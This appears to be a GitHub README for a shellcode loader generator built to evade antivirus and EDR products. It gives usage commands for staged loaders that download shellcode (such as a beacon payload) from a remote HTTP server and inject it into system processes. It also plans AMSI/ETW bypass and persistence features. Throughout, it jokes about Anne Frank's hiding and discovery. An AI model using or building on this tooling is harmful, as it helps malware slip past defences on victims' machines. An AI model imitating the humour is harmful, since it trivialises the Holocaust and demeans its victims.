Tip
Did AnneFrankInjector help you hide your shellcode during a penetration test or while pwning a cert exam? If so, please consider giving it a star ⭐!
This repository was created to facilitate AV/EDR evasion during CTFs and red team engagements. The goal is to focus more on pwning rather than struggling with detection!
Your shellcode hides better than Anne Frank in the annex – until some nosy neighbor (Defender) rats it out.
Check out my blog post for more infos: Evade Modern AVs in 2026
Caution
This tool is designed for authorized operations only.
Note
- The techniques used in the loader are nothing new. The loader generated from this packer will probably NOT evade modern AVs / EDRs long-term. Do not expect miracles – she still gets discovered after ~2 years.
- Most of the evasion techniques used here are NOT from me. I just crammed a bunch of known tricks together like hiding them in an attic.
- Depending on the interest shown to this project, I might add some techniques from my own research and maybe rewrite the whole thing into a much more capable injector.
- Stageless: Shellcode embedded directly into the loader.
- Staged: Shellcode fetched via HTTP (encrypted on the fly).
- Evasion:
- Indirect syscalls (Syswhispers)
- API hashing (Djb2)
- NTDLL unhooking (KnownDLLs)
- AES-128-CBC encryption
- EarlyBird APC injection into
RuntimeBroker.exeorsvchost.exe - Function/variable name scrambling (
-s)
- Output: EXE or DLL (exported function
af). - Code signing: Optional with a PFX certificate.
- Python 3.8+ and
pip - MinGW‑w64 cross‑compiler (to build Windows executables)
- NASM (for assembly code)
- osslsigncode (optional, for signing)
On Kali / Debian‑based Linux:
sudo apt update
sudo apt install clang mingw-w64 nasm lld osslsigncodeOn Windows:
Install MSYS2, then in its terminal:
pacman -Syu
pacman -S mingw-w64-x86_64-clang make nasm-
Clone the repository (or download the ZIP) and enter the folder:
git clone https://github.com/Excalibra/AnneFrankInjector.git cd AnneFrankInjector -
Install Python dependencies (choose one method):
-
Virtual environment (recommended)
python3 -m venv env source env/bin/activate # Linux env\Scripts\activate # Windows pip install -r requirements.txt
-
Global installation (pipx) – makes
afpackeravailable system‑widepipx install . -
Old‑fashioned
pip install -r requirements.txt --break-system-packages
-
Note: The GUI (
af.py) usestkinter(built‑in with Python). No extra install needed.
Run the GUI from the project root:
python af.pyThe window lets you:
- Select your raw shellcode file (
.bin). - Choose between Stageless (embed) or Staged (HTTP download).
- Set options like encryption, scrambling, output format (EXE/DLL), APC target, and code signing.
- Click Generate Loader – the output appears in the text area and the loader is saved in the current folder.
After installation (or from the Linux folder), you can use the afpacker command (or python main.py). The syntax is similar to the original CTFPacker.
afpacker stageless -p payload.bin -e -s -o myloader-p: raw shellcode file-e: encrypt the shellcode-s: scramble function/variable names-o: output filename (without extension; defaultafloader)-f DLL: build a DLL instead of EXE
afpacker staged -p payload.bin -i 192.168.1.10 -po 8080 -pa /shellcode.bin -e -s -o myloader-i: IP address of the HTTP server-po: port-pa: path on the server (e.g.,/shellcode.bin)
Add -pfx cert.pfx -pfx-pass password to any command to sign the output file.
Add -f DLL to produce a DLL. The exported function is named af. Execute it with:
rundll32.exe afloader.dll,afStageless, encrypted, scrambled EXE (no signing):
afpacker stageless -p calc.bin -e -s
# Creates afloader.exeStaged DLL, custom output name:
afpacker staged -p beacon.bin -i 10.0.0.5 -po 80 -pa /payload.bin -f DLL -o beacon
# Creates beacon.dll- Setup.py / pipx support
- More injection techniques (maybe "Betrayed by Neighbor" self-delete)
- AMSI / ETW bypass (because even the diary needs silencing)
- Persistence features
- Undetected on the latest Windows 11 Defender
- Undetected on Windows 10 Defender
- Undetected on Sophos, Kaspersky, etc.
Most of the code is not from me. Here are the original authors (now properly credited under the new project):
@ Excalibra - Main developer, attic architect, and professional snitch-hater
@ Maldevacademy - https://maldevacademy.com
@ SaadAhla - https://github.com/SaadAhla/ntdlll-unhooking-collection
@ VX-Underground - https://github.com/vxunderground/VX-API/blob/main/VX-API/GetProcAddressDjb2.cpp
@ klezVirus - https://github.com/klezVirus/SysWhispers3